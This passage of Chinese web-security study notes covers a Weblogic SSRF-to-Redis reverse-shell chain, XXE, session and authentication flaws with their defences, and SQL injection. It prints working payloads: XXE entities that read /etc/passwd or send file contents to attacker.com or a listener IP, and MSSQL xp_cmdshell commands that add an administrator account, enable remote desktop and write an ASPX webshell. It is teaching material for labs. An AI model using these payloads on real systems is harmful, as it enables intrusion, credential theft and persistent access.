触发SSRF:将最终组装好的Gopher URL,通过Weblogic的SSRF漏洞点发送出去。URL看起来会像这样:\
gopher://内网RedisIP:6379/_编码后的恶意数据
第四步:等待“闹钟”响铃(获得Shell)
当我们的攻击负载成功发送后:
Weblogic的SSRF漏洞会代表我们,向内网的Redis服务器发送我们精心构造的Gopher请求。
Redis服务器会把这些数据当作合法的命令来执行,从而将我们的恶意命令写入到crontab文件。
等待最多一分钟(crontab的默认检测周期),系统的cron守护进程就会读取这个被篡改的文件并执行里面的命令。
我们设置在命令中的反弹Shell就会被执行,它会主动连接回我们控制的服务器,这样,我们就得到了一个内网服务器的远程命令行权限!
总结一下整个流程:
外网攻击者 -> 利用Weblogic的SSRF漏洞 -> 构造特殊的Gopher请求 -> 攻击内网的Redis服务 -> 通过Redis写入恶意Crontab定时任务 -> 任务执行,反弹Shell -> 成功获得内网服务器权限
webligic SSRF 漏洞通过 SSRF 的 gopher 协议操作内网的 redis,利用 redis 将反弹 shell 写入 crontab 定时任务,url 编码,将\r 字符串替换成%0d%0a
4.5 实验(Vulhub Weblogic SSRF)
SSRF(服务器请求伪造)漏洞分析——pikachu-ssrf、vulhub-weblogic-ssrf靶场复现_pikachu靶场复现-CSDN博客
五、XXE(XML外部实体注入)
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析输入的XML数据时,解析了攻击者伪造的外部实体而产生。 当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。 当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。
5.1 XML
定义:XML(Extensible Markup Language 可扩展标记语言)用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML被设计用来传输和存储数据,而不是显示数据,XML标签没有被预定义,需要用户自行定义标签。(注意:XML不会做任何事情,他只是包装在XML标签中的纯粹的信息) XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML文档的完整结构
XML声明(信封):用来说明信的基本信息
DTD(写信规则):DTD(Document Type Definition,文档类型定义)是一套语法规则,它定义了:
XML文档中可以有哪些标签
标签之间如何嵌套
每个标签里能放什么内容
标签出现的顺序和次数
文档元素(信的内容):实际要传达的信息
5.1.1 文档实例
5.1.1.1 外部引用
<?xml version="1.0" encoding="ISO-8859-15"?>
<!DOCTYPE root SYSTEM "http://somewhere.for.dtd/file" [
<!ELEMENT root (other)>
<!ELEMENT other (#PCDATA)>
<!ENTITY generalentity "content">
<!ENTITY % extendentity SYSTEM "http://somewhere.for.EXTdtd/file">
%extendentity;
]>
<?xml version="1.0" encoding="ISO-8859-15"?>
<!--这是XML声明,就像信封上的“使用说明”
version="1.0":我用的是XML 1.0版本
encoding="ISO-8859-15":我用的字符编码,决定了支持哪些语言字符-->
<!DOCTYPE root SYSTEM "http://somewhere.for.dtd/file" [
<!ELEMENT root (other)>
<!-- 声明root元素必须包含一个叫other的子元素就像说“每个家庭必须有一个孩子” -->
<!ELEMENT other (#PCDATA)>
<!-- 声明other元素里面只能放文本内容 #PCDATA意思是“可解析的字符数据” -->
<!ENTITY generalentity "content">
<!-- 这创建了一个一般实体,就像定义了一个变量 以后在文档中写&generalentity;,就会自动替换成"content" -->
<!ENTITY % extendentity SYSTEM "http://somewhere.for.EXTdtd/file">
<!-- 这是参数实体,专门在DTD内部使用 %表示它是参数实体,SYSTEM后面是外部文件地址-->
%extendentity;
<!-- 这是参数实体的引用,相当于把那个外部文件的内容插入到这里 -->
]>
定义:
<!ENTITY 公司名 "阿里巴巴">
<!ENTITY 版权 "版权所有 &公司名; 2024">
使用:
<公司介绍>
<名称>&公司名;</名称>
<声明>&版权;</声明>
</公司介绍>
实际解析:
<公司介绍>
<名称>阿里巴巴</名称>
<声明>版权所有 阿里巴巴 2024;</声明>
</公司介绍>
以%开头
定义
<!ENTITY % 基础信息 "姓名,年龄,性别">
使用
<!ENTITY 员工 %基础信息;>
<!ENTITY 学生 %基础信息;>
等效于:
<!ENTITY 员工 (姓名,年龄,性别)>
<!ENTITY 学生 (姓名,年龄,性别)>
第1行:<?xml version="1.0" encoding="ISO-8859-15"?>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE 学校 [
<!-- 定义参数实体 -->
<!ENTITY % 个人信息 "(姓名, 年龄, 班级)">
<!-- 使用参数实体 -->
<!ELEMENT 学生 %个人信息;>
<!ELEMENT 教师 %个人信息;>
<!ELEMENT 管理员 %个人信息;>
<!-- 定义具体的元素 -->
<!ELEMENT 姓名 (#PCDATA)>
<!ELEMENT 年龄 (#PCDATA)>
<!ELEMENT 班级 (#PCDATA)>
]>
<学校>
<学生>
<姓名>张三</姓名>
<年龄>15</年龄>
<班级>高一(3)班</班级>
</学生>
<教师>
<姓名>李老师</姓名>
<年龄>35</年龄>
<班级>教师组</班级>
</教师>
</学校>
<!-- 解析前 -->
<!ELEMENT 学生 %个人信息;>
<!ELEMENT 教师 %个人信息;>
<!-- 解析后(在内存中) -->
<!ELEMENT 学生 (姓名, 年龄, 班级)>
<!ELEMENT 教师 (姓名, 年龄, 班级)>
这是XML声明,就像信封上的“使用说明”
version="1.0":我用的是XML 1.0版本encoding="ISO-8859-15":我用的字符编码,决定了支持哪些语言字符
第2行开始是DTD文档类型定义:
<!DOCTYPE root SYSTEM "http://somewhere.for.dtd/file" [ ... ]>root:这是根元素的名字,就像家族树的始祖,你可以任意命名SYSTEM "http://...":表示我要引用一个外部的规则文件用
[ ]包裹的部分是内部补充规则
DTD内部的规则声明:
<!ELEMENT root (other)>
声明
root元素必须包含一个叫other的子元素就像说“每个家庭必须有一个孩子”
<!ELEMENT other (#PCDATA)>
声明
other元素里面只能放文本内容#PCDATA意思是“可解析的字符数据”
<!ENTITY generalentity "content">
这创建了一个一般实体,就像定义了一个变量
以后在文档中写
&generalentity;,就会自动替换成"content"
<!ENTITY % extendentity SYSTEM "http://somewhere.for.EXTdtd/file">
这是参数实体,专门在DTD内部使用
%表示它是参数实体,SYSTEM后面是外部文件地址
%extendentity;
- 这是参数实体的引用,相当于把那个外部文件的内容插入到这里
| 概念 | 生活比喻 | 作用 |
|---|---|---|
| DTD | 建筑图纸 | 规定整个文档的结构规则 |
| <!ELEMENT> | 房间布局说明 | 规定每个标签能包含什么、顺序如何 |
| <!ENTITY> | 预制构件 | 定义可重用的内容块,避免重复 |
5.1.1.2 内部引用
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
5.1.2 XML元素定义
5.1.2.1 元素分类
任意元素: <!ELEMENT anyelement ANY>
空元素:<!ELEMENT elementName EMPTY>
文本元素: <!ELEMENT elementName (#PCDATA)>
混合元素:<!ELEMENT elementName (elemrnt1,elemrnt2)>
DTD(文档类型定义):定义XML文档的合法构建模块。DTTD可以在XML文档内声明,也可以外部引用。
内部声明:<!DOCTYPE 根元素 [元素声明]>
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "URL">
<!DOCTYPE 根元素 PUBLIC "public_ID" "URL">
5.1.3 XML 各种程序支持的协议
libxml2 :
file:// - 读取本地文件
http:// - 发起HTTP请求
ftp:// - FTP文件传输
php:
- file:// - 读取本地文件
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
- http:// - HTTP请求
<!ENTITY xxe SYSTEM "http://attacker.com/steal?data=secret">
ftp:// - FTP传输
php:// - PHP流包装器
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
compress.zlib:// - 压缩流
compress.bzip2:// - bzip2压缩流
data:// - 数据流
glob:// - 文件模式匹配
phar:// - PHP归档
<!ENTITY xxe SYSTEM "phar:///path/to/file.phar/internal/file.txt">
Java:
http:// - HTTP请求
https:// - HTTPS请求
ftp:// - FTP传输
file:// - 本地文件
jar:// - JAR包内文件
netdoc:// - 网络文档
mailto:// - 邮件协议
gopher:// - Gopher协议
<!ENTITY xxe SYSTEM "gopher://internal-server:6379/_INFO">
.Net
file:// - 本地文件
http:// - HTTP请求
https:// - HTTPS请求
ftp:// - FTP传输
5.2 XXE
5.2.1 什么是XXE
XXE漏洞 就是攻击者通过构造恶意的XML数据,,使应用程序在解析XML的时候加载并执行了攻击者控制的外部实体,从而造成安全风险。
5.2.2 原理
核心问题:当应用程序在解析XML输入时,如果配置不当,允许了外部实体的加载,攻击者就可以利用这个特性进行恶意操作。
产生条件:
PHP版本过低。
开发人员主动开启了外部实体加载的功能。
XML解析器配置不安全。
5
代码审计中:
代码中是否使用LoadXML()
查看XML解析器的配置参数
检查是否禁用了外部实体加载
渗透测试中:
主动测试:
在POST请求头中加入Content-Type:application/xml
提交包含测试payload的XML数据
观察响应
检查HTTP请求:
抓包分析POST请求体
查看Accept头是不是包含XML格式
观察响应体中是否包含XML数据
寻找特征:
查看URL中是否包含.ashx后缀(ASP.NET)
尝试修改数据格式,比如吧json格式改为xml格式传输
5.2.4 攻击方式
内部声明外部实体
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
实体的定义和引用都在同一个XML文档中完成
DTD内部声明外部参数实体
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://attacker.com/malicious.dtd">
%d;
]>
<c>&b;</c>
更灵活:在诶服务器上的malicious.dtd中定义真正的攻击实体
DTD引用外部实体
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://attacker.com/malicious.dtd">
<c>&b;</c>
所有的实体定义都在外部DTD中完成
5.2.5 利用步骤
- 测试是否允许使用外部实体引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var "tzuxung">
]>
<root>
<data>&var;</data>
</root>
- 任意文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "file:///etc/passwd">
]>
<root>
<data>&var;</data>
</root>
- 通过PHP:// 过滤器读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">
]>
<root>
<data>&var;</data>
</root>
https://github.com/enjoiz/XXEinjector
5.2.6 攻击分类
5.2.6.1 有回显
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" >
]>
<name>&hacker;</name>
//定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">
5.2.6.2 无回显
- 建立*.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">
//内部的%号要进行实体编码成%
- xml调用
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
六、认证会话漏洞
6.1 简介
6.1.1 认证与授权的区别
6.1.1.1 认证(Authentication)
认证是为了认出用户是谁,认证实际上就是一个验证凭证的过程
如果只有一个凭证用于认证,则称为"单因素认证"
如果有两个或多个凭证用于认证,就是"双因素"或"多因素认证"
6.1.1.2 授权(Authorization)
- 授权是为了决定用户可以做什么
6.1.1.3 认证与授权的关系比喻
假设系统就是一间房子,用户掏出钥匙(账号密码等凭证)开锁进入房子的过程就是认证
如果进入完成这个认证的人是这间房子的主人的话,那他就可以使用这个房子的所有功能,可以去卧室睡觉、可以去厨房吃饭等等
但如果你是客人拿着主人的钥匙进去的,那你可能只能说使用主人允许的功能,比如去客厅坐一会之类的
这个时候我们会发现你能够干什么取决于你的角色,而这个角色是提前授予的,也就是授权给你可以去做什么
如果有人捡到了钥匙,或者那个客人复制了一个一样的钥匙进去了房间,那这个认证的过程就出现了问题,它可以直接获得和钥匙主人一样的权限,为所欲为
6.1.2 密码策略
6.1.2.1 密码长度要求
普通应用要求长度为6及以上
重要应用要求长度为8及以上,并考虑双因素认证
6.1.2.2 密码复杂度要求
密码区分大小写
密码为大写、小写、数字、特殊符号中两种以上组合
不要有连续的字符,或位于键盘上连续的字符,如123,qwe
避免出现重复字符,如111
6.1.2.3 密码加密方法
密码必须使用不可逆的加密算法,或单向散列函数算法,加密后存储在数据库中
为避免密码哈希值泄露后,直接通过彩虹表查询密码明文,可以在计算密码明文的哈希值时,增加一个salt
将salt保存在服务器端的配置文件中,并妥善保管
6.1.3 多因素认证
密码
手机动态口令
数字证书
验证码
6.2 Session与认证
6.2.1 Session简介
当用户登录后,在服务端创建一个新的会话(Session),会话中保存用户的状态和相关信息
服务器维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前页面即可
为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器
最常见的做法就是将SessionID加密后保存在Cookie中,因为Cookie会随着HTTP请求头发送,且受到浏览器同源策略的保护
6.2.2 Session劫持与Cookie劫持
Session劫持就是一种通过窃取用户的SessionID,使用该SessionID登录目标账户进行攻击的方法
如果SessionID保存在Cookie中,则称为Cookie劫持
SessionID还可以保存在URL中作为请求的一个参数,但是安全性很低(很多手机浏览器不支持Cookie,就只能将SessionID作为URL参数)
6.3 Session固定攻击
6.3.1 攻击原理
- 在用户登录过程中,登录前后用户的SessionID没有发生变化,就会存在Session Fixation(固定)问题
6.3.2 利用方式
攻击者先获取到一个未经认证的SessionID,然后将这个SessionID交给受害者去认证
受害者完成认证后,服务器未更新此SessionID值(注意不是未改变session)
攻击者等待受害者认证完成之后,使用之前的SessionID登录到受害者的账户
6.3.3 攻击特点分析
在上面的利用中可以看到攻击的重点在于使受害者完成攻击者给他的SessionID的认证2
如果SessionID保存在Cookie中,是比较难做到这一点的
如果SessionID保存在URL中,攻击者只需要诱骗用户打开这个URL即可
6.3.4 修复方式
- 在登录完成之后,重写用户的SessionID
6.4 Session保持攻击
6.4.1 简介
- 一般来说,Session是有生命周期的,当用户长时间没有活动,或用户点击登出后,服务器没有销毁用户的session,就有可能造成Session保持攻击
6.4.2 利用方法
6.4.2.1 持续访问保持Session
系统出于用户体验考虑,只要用户还"活着"就不让Session失效
攻击者通过不停的发起访问请求,让Session一直活下去
6.4.2.2 Cookie Expire时间篡改
如果网站访问量大,服务器端不维护session,而将Session放在Cookie中加密保存
用户访问网站时自动发送Cookie,服务器只需要加密Cookie就能得到当前用户的session,再通过Cookie中的Expire标签来控制Session的失效时间
Cookie的 Expire 时间是完全可以由客户端控制的,篡改这个时间,并使其永久有效,就能得到一个永久有效的Session
攻击者甚至可以为Session Cookie 增加一个 Expire 时间,使得原本浏览器关闭就会失效的Cookie持久的保存在本地,变成一个第三方Cookie
6.4.3 防范方法
设置服务器一定时间后强制销毁Session
- 这个时间可以从用户登录的事件算起,设定一个阈值
可以选择当客户端发生变化时,要求用户重新登录
- 如:IP、UA等信息发生变化时,就强制销毁当前的Session
6.5 SSO(单点登录)
6.5.1 简介
Single Sign On,它希望用户只需要一次登录,就可以访问所有的系统
但它也把所有的风险集中在了单点上,这样做有利有弊
6.5.2 优劣分析
6.5.2.1 优点
SSO把风险集中在了一起,避免了多个系统由于产品需求、应用环境、开发工程师的水平等差异,造成登录功能安全标准不统一形成的弱点
它可以从重设置认证难度,对于一些小业务,也可以不用单独维护一份用户密码,而是专注于业务本身
6.5.2.2 缺点
- 由于风险集中了,如果SSO被攻破,意味着影响范围将扩大到旗下所有使用单点登录的系统
6.5.2.3 风险缓解措施
降低这种风险的方法是在一些敏感的系统里,在单独实现一些额外的认证机制
如网上支付平台付款前要求用户再输入一次密码,或手机短信验证用户身份等
6.6 IAM(身份识别与访问管理)
6.6.1 简介
Identity and Access Management 的缩写,即"身份识别与访问管理"
IAM是让合适的自然人在恰当的时间通过统一的方式访问授权的信息资产,提供集中式的数字身份管理、认证、授权、审计的模式和平台
总之,IAM是一个综合的概念
6.6.2 常见的访问控制模型
ACL:Access Control List,访问控制列表
RBAC:Role-based Access Control,基于角色的访问控制
6.7 登录页面测试
6.7.1 登录页面可能产生的漏洞类型
6.7.1.1 认证绕过漏洞
注入点及万能密码登录
不安全的验证码:验证码使用后不过期,可以继续使用
6.7.1.2 信息泄露漏洞
不安全的用户提示:如提示用户名不存在或密码及验证码错误等
查看登录页面源代码,是否存在敏感信息泄露
在注册账号有时候存在不安全的提示:如注册时提示该用户已被占用等
数据包含有敏感信息泄露:如cookie
6.7.1.3 密码安全漏洞
不安全的密码:在注册的时候密码没有限制复杂度
不安全的数据传输:如密码为明文,未使用https证书
6.7.1.4 会话管理漏洞
在暴力破解的时候未限制IP,锁定用户
一个账号可以在多地登录,没有安全提示
账号登录之后应该具备超时功能
任意无限注册账号
6.7.1.5 权限控制漏洞
OA、邮件、默认账号等相关系统,在不是自己注册的情况下,应该在登录之后强行更改密码
逻辑漏洞,任意密码重置
越权漏洞,纵向,横向越权
任意文件下载
6.7.2 登录页面漏洞测试方法
条件允许的情况下开启漏洞扫描
敏感信息的探测,例如端口,目录,JS文件
爆破弱口令
抓包看看是否存在逻辑漏洞,或者SQL注入进行尝试
寻找框架漏洞
6.7.3 具体测试项
6.7.3.1 SQL注入测试
万能密码绕过
存在的可能性不大,稍微试试也不费劲
payload示例:
admin'or 1=1 --"or "a"="a
登录入口进行SQL注入
- 测试payload:
admin123'
- 测试payload:
6.7.3.2 暴力破解测试
明文传输检测
这个不能算是漏洞,只能说是一个不足,它使得爆破的成本变得很低
在银行这类网站是要求不能使用弱加密的,一般要求使用国密算法
用户名可枚举
此漏洞存在主要是因为页面对所输入的账号密码进行的判断所回显的数据不一样,我们可以通过这点来进行用户名的枚举,然后通过枚举后的账户名来进行弱口令的爆破
毕竟当你收集了很多账号之后,他们中一定有人是使用弱口令的
防御手段的话仅需要将用户名与密码出错的回显变成一样即可,例如用户名或密码出错
爆破弱口令
弱口令无处不在,当然你需要一个好的密码本
Web页面最常用的爆破工具为Burp
客户端爆破工具:hydra、Bruter
6.7.3.3 扫描探测
JS扫描
JS文件我们在渗透测试中也是经常用到的东西,有时候我们可以在JS文件中找到我们平时看不到的东西,例如重置密码的JS,发送短信的JS,都是有可能未授权可访问的
工具的话可以使用 JSFind
目录扫描
- Dirsearch
Nmap端口扫描
- 获取网站的端口信息,而这些端口信息中常常可以给予我们非常大的帮助,例如开放了3389端口,或者一些敏感端口的探测
6.7.3.4 框架漏洞检测
- 寻找CMS或网页框架,查找历史漏洞,万一没修复呢
6.8 总结
本章详细介绍了认证与会话管理的核心概念、安全威胁及防护措施。从基础的认证授权区别到具体的Session安全威胁,再到登录页面的安全测试方法,构建了一个完整的认证安全知识体系。通过理解这些原理和方法,能够更好地识别和防范认证相关的安全风险,保障Web应用的身份安全。
七、注入
7.1 SQL注入
7.1.1 SQL注入介绍
7.1.1.1 注入攻击原理
后端和数据库交互的SQL中,拼接了前端用户输入的可控数据,且未对该数据做严格的过滤防护导致的安全问题
前端有可控参数
后端将可控参数拼接到与数据库交互的SQL语句中
后端没有对用户提交的参数做严格的过滤防护
注入攻击属于服务端攻击,与操作系统、数据库类型、脚本语言类型无关
7.1.1.2 注入漏洞的检测方法
7.1.1.2.1 and检测法
介绍:and 表示连接条件,代表且,也就是说 and 两边的表达式必须都为 true ,最终结果才是 true
判断逻辑:
and 1=1: 这个条件始终是为真的,存在SQL注入的话,这个and 1=1的返回结果必定是和正常页面时是完全一致的
and 1=2: 返回为假,会强行把整个查询条件建立成假,导致查询无数据,因此页面内容会和正常页面不同
payload示例:
http://127.0.0.1/sqli/Less-1/?id=1 正常 http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 正常 http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 不正常 http://127.0.0.1/sqli/Less-1/?id=1 and mod(8,7) in (1) 正常 http://127.0.0.1/sqli/Less-1/?id=1 and mod(8,7) in (2) 不正常
7.1.1.2.2 or检测法
介绍:和and同样为表示为链接条件,代表为或,or左右两边,有一个为true,整体结果便为true
判断逻辑:or是或条件,or两边条件只要有一个条件为真,那么就整体的结果就是为真
payload示例:
http://127.0.0.1/sqli/Less-1/?id=1 正常,原url http://127.0.0.1/sqli/Less-1/?id=1 or 1=1 正常 http://127.0.0.1/sqli/Less-1/?id=1 or 1=2 正常 http://127.0.0.1/sqli/Less-1/?id=-1 or 1 正常,会返回数据库中的第一条数据 http://127.0.0.1/sqli/Less-1/?id=-1 or 1=2 无结果返回
7.1.1.2.3 引号报错检测法
介绍:在SQL语句中,用户提交的参数有数字型和字符型,不管是数字还是字符,引号都是一个可以快速破坏SQL语句语法结构的存在
判断逻辑:在一个正常的SQL语句中,接收前端传过来的参数,代入到数据库中查询时,一般要么像是id值这样的数字型,或者是搜索关键字功能的字符型,字符串都是被引号包裹的,单引号或者双引号,在注入点后面加上个引号,就能快速破坏SQL结构,导致SQL执行报错
payload示例:
http://127.0.0.1/sqli/Less-1/?id=1'" 不正常
7.1.1.2.4 延时判断检测法
简介:sleep(),Benchmark() 这些语句可以让数据库延迟执行,通过页面的响应时间来判断是否存在SQL注入
判断逻辑:在一个SQL注入中:select * from users where id = 1 and sleep(5),添加上该payload,可以让页面延迟五秒响应,在结合页面正常的响应时间,来判断构造的SQL是否被执行
payload示例:
delete from users where id = 1 and sleep(5) 比正常晚5s # 当延迟执行完毕后等同于: delete from users where id = 1 and 0,因此不会删除数据
7.1.1.2.5 运算判断检测法
简介:当参数是数字型的时候,可以尝试用加减法来判断SQL注入
判断逻辑:在注入的参数是一个数字的时候,可以尝试采用加减法的方式来判断,让id值进行运算发生变化,也是判断是否被代入执行的一种方式
payload示例:
http://127.0.0.1/sqli/Less-1/?id=1 正常,查询结果为1 http://127.0.0.1/sqli/Less-1/?id=1+1 查询结果为2则不正常 http://127.0.0.1/sqli/Less-1/?id=1'+'1 查询结果为2则不正常
7.1.2 注入分类
7.1.2.1 按参数类型分
数字型:1
字符型:ran
搜索型:$ran$
特殊型:由于SQL语句拼接方式不同,需要闭合原有语句
7.1.2.2 按提交方式分
Get型:地址栏可以看见参数
Post型:通过Burp抓包
Cookie型:通过Burp抓包
Http Header头提交
7.1.2.3 按数据获取方式分
显注:代入到数据库中执行的SQL,会把执行结果直接显示到前端页面,例如联合查询/报错注入等
盲注:不会直接在前端显示数据库执行结果,需要其他语句结合执行效果来判定,例如布尔型盲注/时间延迟等
7.1.2.3.1 两者的相同点
类型问题:注入的参数可能是数字型,字符型
注入判断:判断是否存在注入的方式
闭合问题:注入的参数可能被括号包裹,闭合的方式是一样的
请求方式:GET/POST,只要存在注入,便不会影响注入结果
出现位置:可注入的参数可能会是在请求的数据中,请求头中,如Cookie,ua头等
注入流程:获取到库名->表名->字段名->具体数据
7.1.2.3.2 两者的不同点
- 在获取相关数据时,显注可以很直接地把SQL执行结果返回到前端来,而盲注,需要对数据进行逐一猜解,才能获取到相关数据,这个过程需要配合if length等等函数关键字
7.1.3 注入可能存在的地方
与数据库交互的相关页面
带参数的地方
登录的地方、更新的地方、注册的地方、留言板、查询、删除等
Http Header注入:把包头保存在数据库的话也可能存在注入漏洞
Cookie注入:数据参数写入到Cookies参数里面
7.1.4 注入攻击的类型
7.1.4.1 union注入
union 操作符一般与order by 语句配合使用
information_schema注入:information_schema数据库是mysql5.0以上版本自带的数据库,其中包含着关于MySQL服务器所维护的所有其他数据库的信息
7.1.4.2 基于函数报错注入
7.1.4.2.1 updatexml()报错注入
载荷注入
insert注入
update注入
delete注入
7.1.4.2.2 extractvalue()报错注入
7.1.4.2.3 floor()报错注入
7.1.4.3 盲注
7.1.4.3.1 基于布尔型SQL盲注
原理:通过对比猜测的字符的ASC码是否与真实的字符相同,然后通过后边的and 1=1,来使其猜对时返回true,猜错时返回false
示例:select ascii (substr(database(),1,1))>xx;
7.1.4.3.2 基于时间型SQL盲注
SQLserver数据库:
WAITFOR DELAY '0:0:5'--
writeup()
PostgreSQL:
PG_SLEEP(5)
generate_series(1,1000000)
MySQL:
vince' and sleep(x)#
Benchmark():可以同一个函数执行若干次,使得结果的返回的时间比平均要长。通过时间长短的变化,可以判断出注入语句是否只形成各
benchmark(10000000,encode('hello','goodbye')):将encode()执行了10000000次,耗时3.03秒
7.1.4.4 堆叠注入
简述:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句
原理:堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的信息
- select * from studnet;select current_user(); 查询的同时查看当前登录用户是谁
触发条件:
- 存在SQL注入
2) 未对;做过滤
- 目标中间层查询数据库信息是可以执行多条语句,如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句
7.1.4.5 宽字节注入
原理:利用程序对引号等非法字符的转义功能(增加),在引号前增加其他字符,使其与 (0x5c)组成新的字符,导致转义失败
要求:对方数据库使用了"宽字符集",比如MySQL使用了GBK编码时,0xbf27(0xbf = ¿ 0x27 = ')和0xbf5c(0x5c = )都会被认为是一个字符(双字节字符)
过程:在进入数据库前,在Web语言中并没有考虑到双字节字符的问题,双字节字符会被认为是两个字符。如果使用了PHP中的addslashes()函数,或者当magic_quotes_gpc开启时会在特殊字符前增加一个转义字符""。因此当攻击者输入 0xbf27 or 1=1(即 ¿' or 1=1 )时,经过转义后,会变成 0xbf5c27 or 1=1,其中的5c本来是用于转义0x27的,但由于在数据库中 0xbf5c 是另一个字符,所以原本存在的转义符 \ 被吞掉了,导致SQL注入
PHP相关:PHP的addslashes()函数会转义 ' " \ NULL 这四个字符。magic_quotes_gpc 如果开启了,它会自动对从客户端提交的数据进行转义,以防止SQL注入等安全问题。但是,这个选项在PHP 5.4及以上版本中已经被废弃了
解决方法:
需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置成 UTF-8 是一个很好的方法
如果由于种种原因无法统一字符编码,则需要单独实现一个用于过滤或转义的安全函数
7.1.5 各种数据库注入
7.1.5.1 Access数据库注入
猜解数据库表名:and exists(select * from users)
猜解数据库表名里面的字段:and exists(select password from administrator)
猜解字段内容:
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询:
order by
union select
偏移注入
跨库查询
7.1.5.2 MsSQL数据库注入
7.1.5.2.1 sa权限注入
第一步:检查是否是mssql数据库:and exists (select * from%20sysobjects)
第二步:查询当前数据库系统的用户名:and system_user=0
第三步:检查注入点是否为sa权限:and 1=(select IS_SRVROLEMEMBER('sysadmin'))
第四步:判断一下xp_cmdshell存储过程是否存在:and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
- 恢复xp_cmdshell可以用 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
第五步:添加帐号:
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
第六步:开3389:;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
7.1.5.2.2 dbowner权限注入
第一步:查看当前网站是否为db_owner权限:and 1=(SELECT IS_MEMBER('db_owner'));-- 判断当前数据库用户是否为db_owner权限
第二步:找出网站路径:
1、通过报错或baidu、google等查找
2、通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--
第三步:写入一句话木马获取webshell:
master..xp_cmd:%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
差异备份:;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
7.1.5.2.3 public权限注入
第一步:获取当前网站数据库名称:and db_name()=0--
第二步:获取mssql所有数据库名和路径:%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%201%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
第三步:获取当前数据库所有表名:and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
第四步:爆表名及字段名:
having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--
第五步:获取字段内容://and//(select//top//1//isnull(cast([id]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]//as//nvarchar(4000)),char(32))//from//[testdb]..[admin]//where//1=1//and//id//not//in//(select//top//0//id//from//[testdb]..[admin]//where//1=1//group//by//id))%3E0//and//1=1
7.1.5.3 MySQL数据库注入
7.1.5.3.1 mysql4与5区别
